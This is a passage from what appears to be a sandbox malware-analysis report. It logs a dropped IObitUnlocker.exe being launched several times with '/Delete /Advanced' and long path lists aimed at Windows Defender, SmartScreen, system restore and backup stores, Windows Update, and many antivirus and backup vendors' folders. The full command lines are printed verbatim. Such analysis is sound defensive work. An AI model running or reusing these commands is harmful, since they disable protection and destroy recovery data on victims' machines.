DataSys","C:\ProgramData\Horizon DataSys","C:\Program Files\Faronics","C:\Program Files (x86)\Faronics","C:\ProgramData\Faronics","C:\Program Files\Toolwiz Time Freeze","C:\Program Files (x86)\Toolwiz Time Freeze","C:\ProgramData\Toolwiz Time Freeze","C:\Program Files\Raxco","C:\Program Files (x86)\Raxco","C:\ProgramData\Raxco","C:\Program Files\Drive Snapshot","C:\Program Files (x86)\Drive Snapshot","C:\ProgramData\Drive Snapshot","C:\Program Files\Deep Freeze","C:\Program Files (x86)\Deep Freeze","C:\ProgramData\Deep Freeze","C:\Program Files\Reboot Restore Rx","C:\Program Files (x86)\Reboot Restore Rx","C:\ProgramData\Reboot Restore Rx","C:\Program Files\R-Tools Technology Inc","C:\Program Files (x86)\R-Tools Technology Inc","C:\ProgramData\R-Tools Technology Inc","C:\Program Files\R-Drive Image","C:\Program Files (x86)\R-Drive Image","C:\ProgramData\R-Drive Image","C:\Program Files\R-Studio","C:\Program Files (x86)\R-Studio","C:\ProgramData\R-Studio","C:\Program Files\Active@ Boot Disk","C:\Program Files (x86)\Active@ Boot Disk","C:\ProgramData\Active@ Boot Disk","C:\Program Files\Active@ Disk Image","C:\Program Files (x86)\Active@ Disk Image","C:\ProgramData\Active@ Disk Image","C:\Program Files\Active@ File Recovery","C:\Program Files (x86)\Active@ File Recovery","C:\ProgramData\Active@ File Recovery","C:\Program Files\ESET","C:\Program Files\NOD32","C:\Program Files\ESET\ESET NOD32 Antivirus","C:\Program Files\ESET\ESET Smart Security","C:\Program Files\ESET\ESET Internet Security","C:\Program Files (x86)\ESET","C:\Program Files (x86)\NOD32","C:\Program Files (x86)\ESET\ESET NOD32 Antivirus","C:\Program Files (x86)\ESET\ESET Smart Security","C:\Program Files (x86)\ESET\ESET Internet Security","C:\Program Files\ESET\Management Agent","C:\Program Files (x86)\ESET\Management Agent","C:\ProgramData\ESET","C:\ProgramData\NOD32","C:\Program Files\McAfee","C:\Program Files (x86)\McAfee","C:\Program Files\McAfee.com","C:\Program Files (x86)\McAfee.com","C:\Program Files\McAfeeAgent","C:\Program Files (x86)\McAfeeAgent","C:\Program Files\McAfee Security Scan","C:\Program Files (x86)\McAfee Security Scan","C:\Program Files\Common Files\McAfee","C:\Program Files (x86)\Common Files\McAfee","C:\ProgramData\McAfee","C:\ProgramData\McAfee.com","C:\ProgramData\McAfeeAgent","C:\ProgramData\McAfee Security Scan","C:\Program Files\AVG","C:\Program Files (x86)\AVG","C:\Program Files\AVG\Antivirus","C:\Program Files (x86)\AVG\Antivirus","C:\Program Files\AVG\TuneUp","C:\Program Files (x86)\AVG\TuneUp","C:\Program Files\AVG\Secure VPN","C:\Program Files (x86)\AVG\Secure VPN","C:\ProgramData\AVG","C:\Program Files\AVAST Software","C:\Program Files (x86)\AVAST Software","C:\Program Files\Avast","C:\Program Files (x86)\Avast","C:\Program Files\AVAST","C:\Program Files (x86)\AVAST","C:\Program Files\AVAST Software\Avast","C:\Program Files (x86)\AVAST Software\Avast","C:\Program Files\AVAST Software\SecureLine","C:\Program Files (x86)\AVAST Software\SecureLine","C:\Program Files\AVAST Software\Cleanup","C:\Program Files (x86)\AVAST Software\Cleanup","C:\Program Files\AVAST Software\Driver Updater","C:\Program Files (x86)\AVAST Software\Driver Updater","C:\ProgramData\AVAST Software","C:\ProgramData\Avast","C:\ProgramData\AVAST","C:\Program Files\Fortinet","C:\Program Files (x86)\Fortinet","C:\Program Files\Fortinet\FortiClient","C:\Program Files (x86)\Fortinet\FortiClient","C:\Program Files\Fortinet\FortiTray","C:\Program Files (x86)\Fortinet\FortiTray","C:\Program Files\Fortinet\FortiESNAC","C:\Program Files (x86)\Fortinet\FortiESNAC","C:\ProgramData\Fortinet","C:\ProgramData\FortiClient","C:\Program Files\DrWeb","C:\Program Files (x86)\DrWeb","C:\Program Files\Dr.Web","C:\Program Files (x86)\Dr.Web","C:\Program Files\Dr.Web AV-Desk","C:\Program Files (x86)\Dr.Web AV-Desk","C:\Program Files\Dr.Web Enterprise Suite","C:\Program Files (x86)\Dr.Web Enterprise Suite","C:\ProgramData\DrWeb","C:\ProgramData\Dr.Web","C:\Program Files\Malwarebytes","C:\Program Files (x86)\Malwarebytes","C:\Program Files\Malwarebytes\Anti-Malware","C:\Program Files (x86)\Malwarebytes\Anti-Malware","C:\Program Files\Malwarebytes\Endpoint Agent","C:\Program Files (x86)\Malwarebytes\Endpoint Agent","C:\Program Files\Malwarebytes\Browser Guard","C:\Program Files (x86)\Malwarebytes\Browser Guard","C:\ProgramData\Malwarebytes","C:\ProgramData\Malwarebytes\MBAMService","C:\ProgramData\Malwarebytes\MBAMService\ScanResults","C:\ProgramData\Malwarebytes\MBAMService\Quarantine","C:\Program Files\Bitdefender","C:\Program Files (x86)\Bitdefender","C:\Program Files\Bitdefender Agent","C:\Program Files (x86)\Bitdefender Agent","C:\Program Files\Common Files\Bitdefender","C:\Program Files (x86)\Common Files\Bitdefender","C:\ProgramData\Bitdefender","C:\ProgramData\Bitdefender Agent","C:\ProgramData\Bitdefender Security","C:\Program Files\Microsoft OneDrive","C:\Program Files (x86)\Microsoft OneDrive","C:\ProgramData\Microsoft OneDrive","C:\Windows\system32\wuauserv.dll","C:\Windows\system32\wuaueng.dll","C:\Windows\system32\UsoClient.exe","C:\Windows\system32\usocore.dll","C:\Windows\system32\MoUsoCoreWorker.exe","C:\Windows\system32\musnotification.exe","C:\Windows\system32\musnotificationux.exe","C:\Windows\system32\wuauclt.exe","C:\Windows\system32\wuapi.dll","C:\Windows\system32\wuwebv.dll","C:\Windows\system32\Tasks\Microsoft\Windows\WindowsUpdate","C:\Windows\system32\Tasks\Microsoft\Windows\UpdateOrchestrator","C:\Windows\winsxs\pending.xml","C:\Windows\winsxs\PendingUpdates","C:\Windows\winsxs\Temp\PendingDeletes","C:\Windows\winsxs\Temp\PendingRenames","C:\Windows\SoftwareDistribution","C:\Windows\$WINDOWS.~BT","C:\Windows\$WINDOWS.~WS","C:\Program Files\Microsoft Update Health Tools","C:\Program Files (x86)\Microsoft Update Health Tools","C:\Windows\system32\Tasks\Microsoft\Windows\Windows Defender"
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of SetWindowsHookEx
      PID:1800
  - - C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.exe
      C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.exe /Delete /Advanced "C:\ProgramData\Microsoft\Windows Defender","C:\ProgramData\Microsoft\Windows Defender Advanced Threat Protection","C:\ProgramData\Microsoft\Windows Security Health","C:\ProgramData\Microsoft\Storage Health","C:\Program Files\Windows Defender","C:\Program Files\Windows Defender Advanced Threat Protection","C:\Program Files\Windows Security","C:\Program Files\PCHealthCheck","C:\Program Files (x86)\Windows Defender","C:\Program Files (x86)\Windows Defender Advanced Threat Protection","C:\Windows\system32\security\database","C:\Windows\system32\HealthAttestationClient","C:\Windows\system32\SecurityHealth","C:\Windows\system32\WebThreatDefSvc","C:\Windows\system32\Sgrm","C:\Windows\system32\WindowsPowerShell\v1.0\Modules\Defender","C:\Windows\system32\WindowsPowerShell\v1.0\Modules\DefenderPerformance","C:\Windows\system32\Tasks_Migrated\Microsoft\Windows\Windows Defender","C:\Windows\system32\drivers\wd","C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Defender","C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\DefenderPerformance","C:\Windows\Containers\WindowsDefenderApplicationGuard.wim","C:\Windows\Containers\serviced\WindowsDefenderApplicationGuard.wim","C:\Windows\system32\SecurityHealthService.exe","C:\Windows\system32\SecurityHealthService.exe_fuck","C:\Windows\system32\SecurityHealthSystray.exe","C:\Windows\system32\SecurityHealthHost.exe","C:\Windows\system32\SecurityHealthAgent.dll","C:\Windows\system32\SecurityHealthSSO.dll","C:\Windows\system32\SecurityHealthProxyStub.dll","C:\Windows\system32\LogFiles\WMI\RtBackup\EtwRTDefenderApiLogger.etl","C:\Windows\system32\LogFiles\WMI\RtBackup\EtwRTDefenderAuditLogger.etl","C:\Windows\system32\smartscreen.dll","C:\Windows\system32\wscisvif.dll","C:\Windows\system32\wscproxystub.dll","C:\Windows\system32\wscapi.dll","C:\Windows\system32\windowsdefenderapplicationguardcsp.dll","C:\Windows\system32\wscsvc.dll","C:\Windows\system32\SecurityHealthCore.dll","C:\Windows\system32\SecurityHealthSsoUdk.dll","C:\Windows\system32\SecurityHealthUdk.dll","C:\Windows\system32\smartscreen.exe","C:\Windows\SysWOW64\smartscreen.dll","C:\Windows\SysWOW64\wscisvif.dll","C:\Windows\SysWOW64\wscproxystub.dll","C:\Windows\SysWOW64\wscapi.dll","C:\Windows\SysWOW64\windowsdefenderapplicationguardcsp.dll","C:\Windows\system32\restore","C:\Windows\system32\config\RegBack","C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\SystemRestore","C:\ProgramData\Microsoft\Windows\SystemRestore","C:\ProgramData\Microsoft\Windows\Restore","C:\ProgramData\Microsoft\Windows\Recovery","C:\ProgramData\Microsoft\Windows\Backup","C:\Windows\WinSxS\Backup","C:\Windows\System32\wbem\Repository","C:\Windows\System32\wbem\AutoRecover","C:\Windows\system32\wbem\Repository","C:\Windows\system32\wbem\AutoRecover","C:\Program Files\Acronis","C:\Program Files (x86)\Acronis","C:\ProgramData\Acronis","C:\ProgramData\Acronis\BackupAndRecovery","C:\ProgramData\Acronis\TrueImageHome","C:\ProgramData\Acronis\Schedule2","C:\ProgramData\Acronis\Agent","C:\Program Files\Comodo","C:\Program Files (x86)\Comodo","C:\Program Files\COMODO","C:\Program Files (x86)\COMODO","C:\ProgramData\Comodo","C:\ProgramData\COMODO","C:\Program Files\Paragon","C:\Program Files (x86)\Paragon","C:\Program Files\Paragon Software","C:\Program Files (x86)\Paragon Software","C:\ProgramData\Paragon","C:\ProgramData\Paragon Software","C:\Program Files\Macrium","C:\Program Files\EaseUS","C:\Program Files\AOMEI","C:\Program Files (x86)\Macrium","C:\Program Files (x86)\EaseUS","C:\Program Files (x86)\AOMEI","C:\ProgramData\Macrium","C:\ProgramData\EaseUS","C:\ProgramData\AOMEI","C:\Program Files\CloneApp","C:\Program Files (x86)\CloneApp","C:\ProgramData\CloneApp","C:\Program Files\CloneAppParameters","C:\Program Files (x86)\CloneAppParameters","C:\ProgramData\CloneAppParameters","C:\Program Files\Redo","C:\Program Files (x86)\Redo","C:\ProgramData\Redo","C:\Program Files\R-Drive","C:\Program Files (x86)\R-Drive","C:\ProgramData\R-Drive","C:\Program Files\Veeam","C:\Program Files (x86)\Veeam","C:\ProgramData\Veeam","C:\Program Files\ShieldApps","C:\Program Files (x86)\ShieldApps","C:\ProgramData\ShieldApps","C:\Program Files\Horizon DataSys","C:\Program Files (x86)\Horizon DataSys","C:\ProgramData\Horizon DataSys","C:\Program Files\Faronics","C:\Program Files (x86)\Faronics","C:\ProgramData\Faronics","C:\Program Files\Toolwiz Time Freeze","C:\Program Files (x86)\Toolwiz Time Freeze","C:\ProgramData\Toolwiz Time Freeze","C:\Program Files\Raxco","C:\Program Files (x86)\Raxco","C:\ProgramData\Raxco","C:\Program Files\Drive Snapshot","C:\Program Files (x86)\Drive Snapshot","C:\ProgramData\Drive Snapshot","C:\Program Files\Deep Freeze","C:\Program Files (x86)\Deep Freeze","C:\ProgramData\Deep Freeze","C:\Program Files\Reboot Restore Rx","C:\Program Files (x86)\Reboot Restore Rx","C:\ProgramData\Reboot Restore Rx","C:\Program Files\R-Tools Technology Inc","C:\Program Files (x86)\R-Tools Technology Inc","C:\ProgramData\R-Tools Technology Inc","C:\Program Files\R-Drive Image","C:\Program Files (x86)\R-Drive Image","C:\ProgramData\R-Drive Image","C:\Program Files\R-Studio","C:\Program Files (x86)\R-Studio","C:\ProgramData\R-Studio","C:\Program Files\Active@ Boot Disk","C:\Program Files (x86)\Active@ Boot Disk","C:\ProgramData\Active@ Boot Disk","C:\Program Files\Active@ Disk Image","C:\Program Files (x86)\Active@ Disk Image","C:\ProgramData\Active@ Disk Image","C:\Program Files\Active@ File Recovery","C:\Program Files (x86)\Active@ File Recovery","C:\ProgramData\Active@ File Recovery","C:\Program Files\ESET","C:\Program Files\NOD32","C:\Program Files\ESET\ESET NOD32 Antivirus","C:\Program Files\ESET\ESET Smart Security","C:\Program Files\ESET\ESET Internet Security","C:\Program Files (x86)\ESET","C:\Program Files (x86)\NOD32","C:\Program Files (x86)\ESET\ESET NOD32 Antivirus","C:\Program Files (x86)\ESET\ESET Smart Security","C:\Program Files (x86)\ESET\ESET Internet Security","C:\Program Files\ESET\Management Agent","C:\Program Files (x86)\ESET\Management Agent","C:\ProgramData\ESET","C:\ProgramData\NOD32","C:\Program Files\McAfee","C:\Program Files (x86)\McAfee","C:\Program Files\McAfee.com","C:\Program Files (x86)\McAfee.com","C:\Program Files\McAfeeAgent","C:\Program Files (x86)\McAfeeAgent","C:\Program Files\McAfee Security Scan","C:\Program Files (x86)\McAfee Security Scan","C:\Program Files\Common Files\McAfee","C:\Program Files (x86)\Common Files\McAfee","C:\ProgramData\McAfee","C:\ProgramData\McAfee.com","C:\ProgramData\McAfeeAgent","C:\ProgramData\McAfee Security Scan","C:\Program Files\AVG","C:\Program Files (x86)\AVG","C:\Program Files\AVG\Antivirus","C:\Program Files (x86)\AVG\Antivirus","C:\Program Files\AVG\TuneUp","C:\Program Files (x86)\AVG\TuneUp","C:\Program Files\AVG\Secure VPN","C:\Program Files (x86)\AVG\Secure VPN","C:\ProgramData\AVG","C:\Program Files\AVAST Software","C:\Program Files (x86)\AVAST Software","C:\Program Files\Avast","C:\Program Files (x86)\Avast","C:\Program Files\AVAST","C:\Program Files (x86)\AVAST","C:\Program Files\AVAST Software\Avast","C:\Program Files (x86)\AVAST Software\Avast","C:\Program Files\AVAST Software\SecureLine","C:\Program Files (x86)\AVAST Software\SecureLine","C:\Program Files\AVAST Software\Cleanup","C:\Program Files (x86)\AVAST Software\Cleanup","C:\Program Files\AVAST Software\Driver Updater","C:\Program Files (x86)\AVAST Software\Driver Updater","C:\ProgramData\AVAST Software","C:\ProgramData\Avast","C:\ProgramData\AVAST","C:\Program Files\Fortinet","C:\Program Files (x86)\Fortinet","C:\Program Files\Fortinet\FortiClient","C:\Program Files (x86)\Fortinet\FortiClient","C:\Program Files\Fortinet\FortiTray","C:\Program Files (x86)\Fortinet\FortiTray","C:\Program Files\Fortinet\FortiESNAC","C:\Program Files (x86)\Fortinet\FortiESNAC","C:\ProgramData\Fortinet","C:\ProgramData\FortiClient","C:\Program Files\DrWeb","C:\Program Files (x86)\DrWeb","C:\Program Files\Dr.Web","C:\Program Files (x86)\Dr.Web","C:\Program Files\Dr.Web AV-Desk","C:\Program Files (x86)\Dr.Web AV-Desk","C:\Program Files\Dr.Web Enterprise Suite","C:\Program Files (x86)\Dr.Web Enterprise Suite","C:\ProgramData\DrWeb","C:\ProgramData\Dr.Web","C:\Program Files\Malwarebytes","C:\Program Files (x86)\Malwarebytes","C:\Program Files\Malwarebytes\Anti-Malware","C:\Program Files (x86)\Malwarebytes\Anti-Malware","C:\Program Files\Malwarebytes\Endpoint Agent","C:\Program Files (x86)\Malwarebytes\Endpoint Agent","C:\Program Files\Malwarebytes\Browser Guard","C:\Program Files (x86)\Malwarebytes\Browser Guard","C:\ProgramData\Malwarebytes","C:\ProgramData\Malwarebytes\MBAMService","C:\ProgramData\Malwarebytes\MBAMService\ScanResults","C:\ProgramData\Malwarebytes\MBAMService\Quarantine","C:\Program Files\Bitdefender","C:\Program Files (x86)\Bitdefender","C:\Program Files\Bitdefender Agent","C:\Program Files (x86)\Bitdefender Agent","C:\Program Files\Common Files\Bitdefender","C:\Program Files (x86)\Common Files\Bitdefender","C:\ProgramData\Bitdefender","C:\ProgramData\Bitdefender Agent","C:\ProgramData\Bitdefender Security","C:\Program Files\Microsoft OneDrive","C:\Program Files (x86)\Microsoft OneDrive","C:\ProgramData\Microsoft OneDrive","C:\Windows\system32\wuauserv.dll","C:\Windows\system32\wuaueng.dll","C:\Windows\system32\UsoClient.exe","C:\Windows\system32\usocore.dll","C:\Windows\system32\MoUsoCoreWorker.exe","C:\Windows\system32\musnotification.exe","C:\Windows\system32\musnotificationux.exe","C:\Windows\system32\wuauclt.exe","C:\Windows\system32\wuapi.dll","C:\Windows\system32\wuwebv.dll","C:\Windows\system32\Tasks\Microsoft\Windows\WindowsUpdate","C:\Windows\system32\Tasks\Microsoft\Windows\UpdateOrchestrator","C:\Windows\winsxs\pending.xml","C:\Windows\winsxs\PendingUpdates","C:\Windows\winsxs\Temp\PendingDeletes","C:\Windows\winsxs\Temp\PendingRenames","C:\Windows\SoftwareDistribution","C:\Windows\$WINDOWS.~BT","C:\Windows\$WINDOWS.~WS","C:\Program Files\Microsoft Update Health Tools","C:\Program Files (x86)\Microsoft Update Health Tools","C:\Windows\system32\Tasks\Microsoft\Windows\Windows Defender"
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of SetWindowsHookEx
      PID:3496
  - - C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.exe
      C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.exe /Delete /Advanced "C:\ProgramData\Microsoft\Windows Defender","C:\ProgramData\Microsoft\Windows Defender Advanced Threat Protection","C:\ProgramData\Microsoft\Windows Security Health","C:\ProgramData\Microsoft\Storage Health","C:\Program Files\Windows Defender","C:\Program Files\Windows Defender Advanced Threat Protection","C:\Program Files\Windows Security","C:\Program Files\PCHealthCheck","C:\Program Files (x86)\Windows Defender","C:\Program Files (x86)\Windows Defender Advanced Threat Protection","C:\Windows\system32\security\database","C:\Windows\system32\HealthAttestationClient","C:\Windows\system32\SecurityHealth","C:\Windows\system32\WebThreatDefSvc","C:\Windows\system32\Sgrm","C:\Windows\system32\WindowsPowerShell\v1.0\Modules\Defender","C:\Windows\system32\WindowsPowerShell\v1.0\Modules\DefenderPerformance","C:\Windows\system32\Tasks_Migrated\Microsoft\Windows\Windows Defender","C:\Windows\system32\drivers\wd","C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Defender","C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\DefenderPerformance","C:\Windows\Containers\WindowsDefenderApplicationGuard.wim","C:\Windows\Containers\serviced\WindowsDefenderApplicationGuard.wim","C:\Windows\system32\SecurityHealthService.exe","C:\Windows\system32\SecurityHealthService.exe_fuck","C:\Windows\system32\SecurityHealthSystray.exe","C:\Windows\system32\SecurityHealthHost.exe","C:\Windows\system32\SecurityHealthAgent.dll","C:\Windows\system32\SecurityHealthSSO.dll","C:\Windows\system32\SecurityHealthProxyStub.dll","C:\Windows\system32\LogFiles\WMI\RtBackup\EtwRTDefenderApiLogger.etl","C:\Windows\system32\LogFiles\WMI\RtBackup\EtwRTDefenderAuditLogger.etl","C:\Windows\system32\smartscreen.dll","C:\Windows\system32\wscisvif.dll","C:\Windows\system32\wscproxystub.dll","C:\Windows\system32\wscapi.dll","C:\Windows\system32\windowsdefenderapplicationguardcsp.dll","C:\Windows\system32\wscsvc.dll","C:\Windows\system32\SecurityHealthCore.dll","C:\Windows\system32\SecurityHealthSsoUdk.dll","C:\Windows\system32\SecurityHealthUdk.dll","C:\Windows\system32\smartscreen.exe","C:\Windows\SysWOW64\smartscreen.dll","C:\Windows\SysWOW64\wscisvif.dll","C:\Windows\SysWOW64\wscproxystub.dll","C:\Windows\SysWOW64\wscapi.dll","C:\Windows\SysWOW64\windowsdefenderapplicationguardcsp.dll","C:\Windows\system32\restore","C:\Windows\system32\config\RegBack","C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\SystemRestore","C:\ProgramData\Microsoft\Windows\SystemRestore","C:\ProgramData\Microsoft\Windows\Restore","C:\ProgramData\Microsoft\Windows\Recovery","C:\ProgramData\Microsoft\Windows\Backup","C:\Windows\WinSxS\Backup","C:\Windows\System32\wbem\Repository","C:\Windows\System32\wbem\AutoRecover","C:\Windows\system32\wbem\Repository","C:\Windows\system32\wbem\AutoRecover","C:\Program Files\Acronis","C:\Program Files (x86)\Acronis","C:\ProgramData\Acronis","C:\ProgramData\Acronis\BackupAndRecovery","C:\ProgramData\Acronis\TrueImageHome","C:\ProgramData\Acronis\Schedule2","C:\ProgramData\Acronis\Agent","C:\Program Files\Comodo","C:\Program Files (x86)\Comodo","C:\Program Files\COMODO","C:\Program Files (x86)\COMODO","C:\ProgramData\Comodo","C:\ProgramData\COMODO","C:\Program Files\Paragon","C:\Program Files (x86)\Paragon","C:\Program Files\Paragon Software","C:\Program Files (x86)\Paragon Software","C:\ProgramData\Paragon","C:\ProgramData\Paragon Software","C:\Program Files\Macrium","C:\Program Files\EaseUS","C:\Program Files\AOMEI","C:\Program Files (x86)\Macrium","C:\Program Files (x86)\EaseUS","C:\Program Files (x86)\AOMEI","C:\ProgramData\Macrium","C:\ProgramData\EaseUS","C:\ProgramData\AOMEI","C:\Program Files\CloneApp","C:\Program Files (x86)\CloneApp","C:\ProgramData\CloneApp","C:\Program Files\CloneAppParameters","C:\Program Files (x86)\CloneAppParameters","C:\ProgramData\CloneAppParameters","C:\Program Files\Redo","C:\Program Files (x86)\Redo","C:\ProgramData\Redo","C:\Program Files\R-Drive","C:\Program Files (x86)\R-Drive","C:\ProgramData\R-Drive","C:\Program Files\Veeam","C:\Program Files (x86)\Veeam","C:\ProgramData\Veeam","C:\Program Files\ShieldApps","C:\Program Files (x86)\ShieldApps","C:\ProgramData\ShieldApps","C:\Program Files\Horizon DataSys","C:\Program Files (x86)\Horizon DataSys","C:\ProgramData\Horizon DataSys","C:\Program Files\Faronics","C:\Program Files (x86)\Faronics","C:\ProgramData\Faronics","C:\Program Files\Toolwiz Time Freeze","C:\Program Files (x86)\Toolwiz Time Freeze","C:\ProgramData\Toolwiz Time Freeze","C:\Program Files\Raxco","C:\Program Files (x86)\Raxco","C:\ProgramData\Raxco","C:\Program Files\Drive Snapshot","C:\Program Files (x86)\Drive Snapshot","C:\ProgramData\Drive Snapshot","C:\Program Files\Deep Freeze","C:\Program Files (x86)\Deep Freeze","C:\ProgramData\Deep Freeze","C:\Program Files\Reboot Restore Rx","C:\Program Files (x86)\Reboot Restore Rx","C:\ProgramData\Reboot Restore Rx","C:\Program Files\R-Tools Technology Inc","C:\Program Files (x86)\R-Tools Technology Inc","C:\ProgramData\R-Tools Technology Inc","C:\Program Files\R-Drive Image","C:\Program Files (x86)\R-Drive Image","C:\ProgramData\R-Drive Image","C:\Program Files\R-Studio","C:\Program Files (x86)\R-Studio","C:\ProgramData\R-Studio","C:\Program Files\Active@ Boot Disk","C:\Program Files (x86)\Active@ Boot Disk","C:\ProgramData\Active@ Boot Disk","C:\Program Files\Active@ Disk Image","C:\Program Files (x86)\Active@ Disk Image","C:\ProgramData\Active@ Disk Image","C:\Program Files\Active@ File Recovery","C:\Program Files (x86)\Active@ File Recovery","C:\ProgramData\Active@ File Recovery","C:\Program Files\ESET","C:\Program Files\NOD32","C:\Program Files\ESET\ESET NOD32 Antivirus","C:\Program Files\ESET\ESET Smart Security","C:\Program Files\ESET\ESET Internet Security","C:\Program Files (x86)\ESET","C:\Program Files (x86)\NOD32","C:\Program Files (x86)\ESET\ESET NOD32 Antivirus","C:\Program Files (x86)\ESET\ESET Smart Security","C:\Program Files (x86)\ESET\ESET Internet Security","C:\Program Files\ESET\Management Agent","C:\Program Files (x86)\ESET\Management Agent","C:\ProgramData\ESET","C:\ProgramData\NOD32","C:\Program Files\McAfee","C:\Program Files (x86)\McAfee","C:\Program Files\McAfee.com","C:\Program Files (x86)\McAfee.com","C:\Program Files\McAfeeAgent","C:\Program Files (x86)\McAfeeAgent","C:\Program Files\McAfee Security Scan","C:\Program Files (x86)\McAfee Security Scan","C:\Program Files\Common Files\McAfee","C:\Program Files (x86)\Common Files\McAfee","C:\ProgramData\McAfee","C:\ProgramData\McAfee.com","C:\ProgramData\McAfeeAgent","C:\ProgramData\McAfee Security Scan","C:\Program Files\AVG","C:\Program Files (x86)\AVG","C:\Program Files\AVG\Antivirus","C:\Program Files (x86)\AVG\Antivirus","C:\Program Files\AVG\TuneUp","C:\Program Files (x86)\AVG\TuneUp","C:\Program Files\AVG\Secure VPN","C:\Program Files (x86)\AVG\Secure VPN","C:\ProgramData\AVG","C:\Program Files\AVAST Software","C:\Program Files (x86)\AVAST Software","C:\Program Files\Avast","C:\Program Files (x86)\Avast","C:\Program Files\AVAST","C:\Program Files (x86)\AVAST","C:\Program Files\AVAST Software\Avast","C:\Program Files (x86)\AVAST Software\Avast","C:\Program Files\AVAST Software\SecureLine","C:\Program Files (x86)\AVAST Software\SecureLine","C:\Program Files\AVAST Software\Cleanup","C:\Program Files (x86)\AVAST Software\Cleanup","C:\Program Files\AVAST Software\Driver Updater","C:\Program Files (x86)\AVAST Software\Driver Updater","C:\ProgramData\AVAST Software","C:\ProgramData\Avast","C:\ProgramData\AVAST","C:\Program Files\Fortinet","C:\Program Files (x86)\Fortinet","C:\Program Files\Fortinet\FortiClient","C:\Program Files (x86)\Fortinet\FortiClient","C:\Program Files\Fortinet\FortiTray","C:\Program Files (x86)\Fortinet\FortiTray","C:\Program Files\Fortinet\FortiESNAC","C:\Program Files (x86)\Fortinet\FortiESNAC","C:\ProgramData\Fortinet","C:\ProgramData\FortiClient","C:\Program Files\DrWeb","C:\Program Files (x86)\DrWeb","C:\Program Files\Dr.Web","C:\Program Files (x86)\Dr.Web","C:\Program Files\Dr.Web AV-Desk","C:\Program Files (x86)\Dr.Web AV-Desk","C:\Program Files\Dr.Web Enterprise Suite","C:\Program Files (x86)\Dr.Web Enterprise Suite","C:\ProgramData\DrWeb","C:\ProgramData\Dr.Web","C:\Program Files\Malwarebytes","C:\Program Files (x86)\Malwarebytes","C:\Program Files\Malwarebytes\Anti-Malware","C:\Program Files (x86)\Malwarebytes\Anti-Malware","C:\Program Files\Malwarebytes\Endpoint Agent","C:\Program Files (x86)\Malwarebytes\Endpoint Agent","C:\Program Files\Malwarebytes\Browser Guard","C:\Program Files (x86)\Malwarebytes\Browser Guard","C:\ProgramData\Malwarebytes","C:\ProgramData\Malwarebytes\MBAMService","C:\ProgramData\Malwarebytes\MBAMService\ScanResults","C:\ProgramData\Malwarebytes\MBAMService\Quarantine","C:\Program Files\Bitdefender","C:\Program Files (x86)\Bitdefender","C:\Program Files\Bitdefender Agent","C:\Program Files (x86)\Bitdefender Agent","C:\Program Files\Common Files\Bitdefender","C:\Program Files (x86)\Common Files\Bitdefender","C:\ProgramData\Bitdefender","C:\ProgramData\Bitdefender Agent","C:\ProgramData\Bitdefender Security","C:\Program Files\Microsoft OneDrive","C:\Program Files (x86)\Microsoft OneDrive","C:\ProgramData\Microsoft OneDrive","C:\Windows\system32\wuauserv.dll","C:\Windows\system32\wuaueng.dll","C:\Windows\system32\UsoClient.exe","C:\Windows\system32\usocore.dll","C:\Windows\system32\MoUsoCoreWorker.exe","C:\Windows\system32\musnotification.exe","C:\Windows\system32\musnotificationux.exe","C:\Windows\system32\wuauclt.exe","C:\Windows\system32\wuapi.dll","C:\Windows\system32\wuwebv.dll","C:\Windows\system32\Tasks\Microsoft\Windows\WindowsUpdate","C:\Windows\system32\Tasks\Microsoft\Windows\UpdateOrchestrator","C:\Windows\winsxs\pending.xml","C:\Windows\winsxs\PendingUpdates","C:\Windows\winsxs\Temp\PendingDeletes","C:\Windows\winsxs\Temp\PendingRenames","C:\Windows\SoftwareDistribution","C:\Windows\$WINDOWS.~BT","C:\Windows\$WINDOWS.~WS","C:\Program Files\Microsoft Update Health Tools","C:\Program Files (x86)\Microsoft Update Health Tools","C:\Windows\system32\Tasks\Microsoft\Windows\Windows Defender"
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of SetWindowsHookEx
      PID:5984
  - - C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.exe
      C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.exe /Delete /Advanced "C:\ProgramData\Microsoft\Windows Defender","C:\ProgramData\Microsoft\Windows Defender Advanced Threat Protection","C:\ProgramData\Microsoft\Windows Security Health","C:\ProgramData\Microsoft\Storage Health","C:\Program Files\Windows Defender","C:\Program Files\Windows Defender Advanced Threat Protection","C:\Program Files\Windows Security","C:\Program Files\PCHealthCheck","C:\Program Files (x86)\Windows Defender","C:\Program Files (x86)\Windows Defender Advanced Threat Protection","C:\Windows\system32\security\database","C:\Windows\system32\HealthAttestationClient","C:\Windows\system32\SecurityHealth","C:\Windows\system32\WebThreatDefSvc","C:\Windows\system32\Sgrm","C:\Windows\system32\WindowsPowerShell\v1.0\Modules\Defender","C:\Windows\system32\WindowsPowerShell\v1.0\Modules\DefenderPerformance","C:\Windows\system32\Tasks_Migrated\Microsoft\Windows\Windows 